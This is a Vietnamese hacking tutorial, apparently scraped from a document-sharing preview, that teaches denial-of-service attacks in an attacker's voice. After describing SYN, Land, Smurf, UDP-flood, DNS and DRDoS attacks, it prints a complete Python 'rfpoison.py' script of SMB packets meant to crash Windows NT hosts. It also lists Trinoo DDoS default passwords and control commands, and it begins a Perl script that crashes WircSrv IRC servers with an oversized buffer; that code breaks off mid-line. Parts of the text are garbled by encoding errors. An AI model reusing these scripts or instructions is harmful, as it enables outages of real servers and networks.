Land Attack là gì
DDoS attack potBạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (86.94 KB, 14 trang ) DoS attack là gì? ( Denial Of Services Attack ) của mảnh đó trong gói dữ liệu được chuyển đi. Khi các mảnh này đến hệ thống đích, hệ thống đích sẽ dựa vào giá trị offset để sắp xếp các mảnh lại với nhau theo thứ tự đúng như ban đầu . Lợi dụng sơ hở đó , ta chỉ cần gởi đến hệ thống đích một loạt gói packets với giá trị offset chồng chéo lên nhau. Hệ thống đích sẽ không thể nào sắp xếp lại các packets này, nó không điều khiển được và có thể bị crash, reboot hoặc ngừng hoạt động nếu số lượng gói packets với giá trị offset chồng chéo lên nhau quá lớn ! d . ) SYN Attack : _ Trong SYN Attack, ha*ker sẽ gởi đến hệ thống đích một loạt SYN packets với địa chỉ ip nguồn không có thực. Hệ thống đích khi nhận được các SYN packets này sẽ gởi trở lại các địa chỉ không có thực đó và chờ đợI để nhận thông tin phản hồi từ các địa chỉ ip giả . Vì đây là các địa chỉ ip không có thực, nên hệ thống đích sẽ sẽ chờ đợi vô ích và còn đưa các ``request`` chờ đợi này vào bộ nhớ , gây lãng phí một lượng đáng kể bộ nhớ trên máy chủ mà đúng ra là phải dùng vào việc khác thay cho phải chờ đợi thông tin phản hồi không có thực này . Nếu ta gởi cùng một lúc nhiều gói tin có địa chỉ IP giả như vậy thì hệ thống sẽ bị quá tải dẫn đến bị crash hoặc boot máy tính . == > ném đá dấu tay . e . ) Land Attack : _ Land Attack cũng gần giống như SYN Attack, nhưng thay vì dùng các địa chỉ ip không có thực, ha*ker sẽ dùng chính địa chỉ ip của hệ thống nạn nhân. Điều này sẽ tạo nên một vòng lặp vô tận giữa trong chính hệ thống nạn nhân đó, giữa một bên cần nhận thông tin phản hồi còn một bên thì chẳng bao giờ gởi thông tin phản hồi đó đi cả . == > Gậy ông đập lưng ông . f . ) Smurf Attack : _Trong Smurf Attack, cần có ba thành phần: ha*ker (người ra lệnh tấn công), mạng khuếch đại (sẽ nghe lệnh của ha*ker) và hệ thống của nạn nhân. ha*ker sẽ gởi các gói tin ICMP đến địa chỉ broadcast của mạng khuếch đại. Điều đặc biệt là các gói tin ICMP packets này có địa chỉ ip nguồn chính là địa chỉ ip của nạn nhân . Khi các packets đó đến được địa chỉ broadcast của mạng khuếch đại, các máy tính trong mạng khuếch đại sẽ tưởng rằng máy tính nạn nhân đã gởi gói tin ICMP packets đến và chúng sẽ đồng loạt gởi trả lại hệ thống nạn nhân các gói tin phản hồi ICMP packets. Hệ thống máy nạn nhân sẽ không chịu nổi một khối lượng khổng lồ các gói tin này và nhanh C**'ng bị ngừng hoạt động, crash hoặc reboot. Như vậy, chỉ cần gởi một lượng nhỏ các gói tin ICMP packets đi thì hệ thống mạng khuếch đại sẽ khuếch đại lượng gói tin ICMP packets này lên gấp bộI . Tỉ lệ khuếch đại phụ thuộc vào số mạng tính có trong mạng khuếch đạI . Nhiệm vụ của các ha*ker là cố chiếm được càng nhiều hệ thống mạng hoặc routers cho phép chuyển trực tiếp các gói tin đến địa chỉ broadcast không qua chỗ lọc địa chỉ nguồn ở các đầu ra của gói tin . Có được các hệ thống này, ha*ker sẽ dễ dàng tiến hành Smurf Attack trên các hệ thống cần tấn công . == > một máy làm chẳng si nhê , chục máy chụm lại ta đành chào thua . g . ) UDP Flooding : _ Cách tấn công UDP đòi hỏi phải có 2 hệ thống máy cùng tham gia. ha*kers sẽ làm cho hệ thống của mình đi vào một vòng lặp trao đổi các dữ liệu qua giao thức UDP. Và giả mạo địa chỉ ip của các gói tin là địa chỉ loopback ( 127.0.0.1 ) , rồi gởi gói tin này đến hệ thống của nạn nhân trên cổng UDP echo ( 7 ). Hệ thống của nạn nhân sẽ trả lời lại các messages do 127.0.0.1( chính nó ) gởi đến , kết quả là nó sẽ đi vòng một vòng lặp vô tận. Tuy nhiên, có nhiều hệ thống không cho dùng địa chỉ loopback nên ha*ker sẽ giả mạo một địa chỉ ip của một máy tính nào đó trên mạng nạn nhân và tiến hành ngập lụt UDP trên hệ thống của nạn nhân . Nếu bạn làm cách này không thành công thì chính máy của bạn sẽ bị đấy . h . ) Tấn công DNS : _ ha*ker có thể đổi một lối vào trên Domain Name Server của hệ thống nạn nhân rồi cho chỉ đến một website nào đó của ha*ker. Khi máy khách yêu cầu DNS phân tích địa chỉ bị xâm nhập thành địa chỉ ip, lập tức DNS ( đã bị ha*ker thay đổi cache tạm thờI ) sẽ đổi thành địa chỉ ip mà ha*ker đã cho chỉ đến đó . Kết quả là thay vì phải vào trang Web muốn vào thì các nạn nhân sẽ vào trang Web do chính ha*ker tạo ra . Một cách tấn công từ chối dịch vụ thật hữu hiệu !. g . ) Distributed DoS Attacks ( DDos ) : _ DDoS yêu cầu phải có ít nhất vài ha*kers cùng tham gia. Đầu tiên các ha*kers sẽ cố thâm nhập vào các mạng máy tính được bảo mật kém, sau đó cài lên các hệ thống này chương trình DDoS server. Bây giờ các ha*kers sẽ hẹn nhau đến thời gian đã định sẽ dùng DDoS client kết nối đến các DDoS servers, sau đó đồng loạt ra lệnh cho các DDoS servers này tiến hành tấn công DDoS đến hệ thống nạn nhân . h . ) DRDoS ( The Distributed Reflection Denial of Service Attack ) : _ Đây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy tính của đối phương nhanh gọn nhất . Cách làm thì cũng tương tự như DDos nhưng thay vì tấn công bằng nhiều máy tính thì ngườI tấn công chỉ cần dùng một máy tấn công thông qua các server lớn trên thế giới . Vẫn với phương pháp giả mạo địa chỉ IP của victim , kẻ tấn công sẽ gởi các gói tin đến các server mạnh nhất , nhanh nhất và có đường truyền rộng nhất như Yahoo .v.v , các server này sẽ phản hồi các gói tin đó đến địa chỉ của victim . Việc cùng một lúc nhận được nhiều gói tin thông qua các server lớn này sẽ nhanh C**'ng làm nghẽn đường truyền của máy tính nạn nhân và làm crash , reboot máy tính đó . Cách tấn công này lợi hại ở chỗ chỉ cần một máy có kết nối Internet đơn giản với đường truyền bình thường cũng có thể đánh bật được hệ thống có đường truyền tốt nhất thế giớI nếu như ta không kịp ngăn chặn . Trang Web HVA của chúng ta cũng bị DoS vừa rồi bởi cách tấn công này đấy . 40 . ) Kỹ thuật DoS Web bằng Python : _ Kỹ thuật này chỉ có thể sử dụng duy nhất trên WinNT , và bạn cần phải có thời gian thì máy tính của nạn nhân mới bị down được . _ Bạn hãy download Pyphon tại http://www.python.org/ để sử dụng . _ Bạn hãy save đoạn mã sau lên file rfpoison.py . CODE import string import struct from socket import * import sys def a2b(s): bytes = map(lambda x: string.atoi(x, 16), string.split(s)) data = string.join(map(chr, bytes), ``) return data def b2a(s): bytes = map(lambda x: `%.2x` % x, map(ord, s)) return string.join(bytes, ` `) # Yêu cầu tập hợp NBSS nbss_session = a2b(`````` 81 00 00 48 20 43 4b 46 44 45 4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43 41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45 42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46 43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00 00 00 ``````) # Tạo SMB crud = ( # Yêu cầu SMBnegprot `````` ff 53 4d 42 72 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b 53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d 62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e 30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00 ``````, # Yêu cầu setup SMB X `````` ff 53 4d 42 73 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f 55 50 00 55 6e 69 78 00 53 61 6d 62 61 00 ``````, # Yêu cầu SMBtconX `````` ff 53 4d 42 75 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00 00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56 45 52 5c 49 50 43 24 00 49 50 43 00 ``````, # Yêu cầu khởI tạo SMBnt X `````` ff 53 4d 42 a2 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00 07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72 76 73 76 63 00 ``````, # yêu cầu biên dịch SMB `````` ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49 50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00 00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 ``````, # SMBtrans Request `````` ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49 50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00 00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00 00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00 5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00 56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 `````` ) crud = map(a2b, crud) def smb_send(sock, data, type=0, flags=0): d = struct.pack(`!BBH`, type, flags, len(data)) #print `send:`, b2a(d+data) sock.send(d+data) def smb_recv(sock): s = sock.recv(4) assert(len(s) == 4) type, flags, length = struct.unpack(`!BBH`, s) data = sock.recv(length) assert(len(data) == length) #print `recv:`, b2a(s+data) return type, flags, data def nbss_send(sock, data): sock.send(data) def nbss_recv(sock): s = sock.recv(4) assert(len(s) == 4) return s def main(host, port=139): s = socket(AF_INET, SOCK_STREAM) s.connect(host, port) nbss_send(s, nbss_session) nbss_recv(s) for msg in crud[:-1]: smb_send(s, msg) smb_recv(s) smb_send(s, crud[-1]) # no response to this s.close() if __name__ == `__main__`: print `Sending poison `, main(sys.argv[1]) print `done.` Để có thể làm down được server của đối phương bạn cần phải có thời gian DoS , nếu không có điều kiện chờ đợi tốt nhất bạn không nên sử dụng cách này . Nhưng vọc thử cho biết thì được đúng không ? 41 . ) Tấn công DDoS thông qua Trinoo : _ Bạn đã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công DDoS bằng Trinoo được thực hiện bởi một kết nối của ha*ker Trinoo Master và chỉ dẫn cho Master để phát động một cuộc tấn công DDoS đến một hay nhiều mục tiêu. Trinoo Master sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn đến để tấn công một hay nhiều mục tiêu trong khoảng thời gian xác định . _ Cả Master và Deamon đều được bảo vệ bằng Passwd . chỉ khi chúng ta biết passwd thì mới có thể điều khiển được chúng , điều này không có gì khó khăn nếu chúng ta là chủ nhân thực sự của chúng . Những passwd này thường được mã hoá và bạn có thể thiết lập khi biên dịch Trinoo từ Source > Binnary. Khi được chạy , Deadmons sẽ hiện ra một dấu nhắc và chờ passwd nhập vào , nếu passwd nhập sai nó sẽ tự động thoát còn nếu passwd được nhập đúng thì nó sẽ tự động chạy trên nền của hệ thống . attacker$ telnet 10.0.0.1 27665 Trying 10.0.0.1 Connected to 10.0.0.1 Escape character is `^]`. kwijibo Connection closed by foreign host. < == Bạn đã nhập sai attacker$ telnet 10.0.0.1 27665 Trying 10.0.0.1 Connected to 10.0.0.1 Escape character is `^]`. betaalmostdone trinoo v1.07d2+f3+c [rpm8d/cb4Sx/] trinoo > < == bạn đã vào được hệ thống trinoo _ Đây là vài passwd mặc định : l44adsl``: pass của trinoo daemon . ``gorave``: passwd của trinoo master server khi startup . ``betaalmostdone``: passwd điều khiển từ xa chung cho trinoo master . ``killme``: passwd trinoo master điều khiển lệnh ``mdie`` . _ Đây là một số lệnh dùng để điều khiển Master Server: CODE die Shutdown. quit Log off. mtimer N Đặt thờI gian để tấn công DoS , vớI N nhận giá trị từ 1 > 1999 giây . dos IP Tấn công đến một địa chỉ IP xác định . mdie pass Vô hiệu hoá tất cả các Broadcast , nếu như passwd chính xác . Một lệnh đưọc gửi tới (``d1e l44adsl``) Broadcast để Shutdown chúng . Một passwd riêng biệt sẽ được đặt cho mục này mping Gửi một lệnh ping tới (``png l44adsl``) c¸c Broadcast. mdos Send nhiều lênh DOS (``xyz l44adsl 123:ip1:ip2``) đến các Broadcast. info Hiển thị thông tin về Trinoo . msize Đặt kích thước đệm cho những gói tin được send đi trong suốt thờI gian DoS. nslookup host X ác định tên thiết bị của Host mà Master Trinoo đang chạy . usebackup Chuyển tớI các file Broadcast sao lưu được tạo bởi lệnh killdead. bcast Liệt kê danh sách tất cả các Broadcast có thể khai thác . help [cmd] Đưa ra danh sách các lệnh . mstop Ngừng lại các cuốc tấn công DOS . _ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons: CODE aaa pass IP Tấn công đến địa chỉ IP đã xác định . GửI gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đã xác định trong một khoảng thời gian xác định được mặc định là 120s hay từ 1 > 1999 s . bbb pass N Đặt thờI gian giới hạn cho các cuộc tấn công DOS . Shi pass Gửi chuỗi *HELLO* tới dánh sách Master Server đã được biên dịch trong chương trình trên cổng 31335/UDP. png pass Send chuỗi Pong tớI Master Server phát hành các lệnh điều khiển trên cổng 31335/UDP. die pass Shutdown Trinoo. rsz N Là kích thước của bộ đệm được dùng để tấn công , nó được tính bằng byte . xyz pass 123:ip1:ip3 tấn công DOS nhiều mục tiêu cùng lúc . Bài viết này đã được ghép lại Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 : Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 : WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như bị các ha*ker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port 6667. Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667: Nếu bạn dùng Unix: [$ telnet irc.example.com 6667 Trying example.com Connected to example.com. Escape character is `^]`. [buffer] Windows cũng tương tự: telnet irc.example.com 6667 Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự . Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau ( Các bạn hãy nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó , đó cũng là một trong những cách tập luyện cho sự phản xạ của các ha*ker khi họ nghiên cứu . Nào , chúng ta hãy phân tích nó một cách căn bản ): CODE #!/usr/bin/perl #< == Đoạn mã này cho ta biết là dùng cho các lệnh trong perl use Getopt::Std; use Socket; getopts(`s:`, \%args); if(!defined($args{s})){&usage;} my($serv,$port,$foo,$number,$data,$buf,$in_addr,$p a ddr, $proto); $foo = ``A``; # Đây là NOP $number = ``65000``; # Đây là tất cả số NOP $data .= $foo x $number; # kết quả của $foo times $number $serv = $args{s}; # lệnh điều khiển server từ xa $port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là 6667 $buf = ``$data``; $in_addr = (gethostbyname($serv))[4] |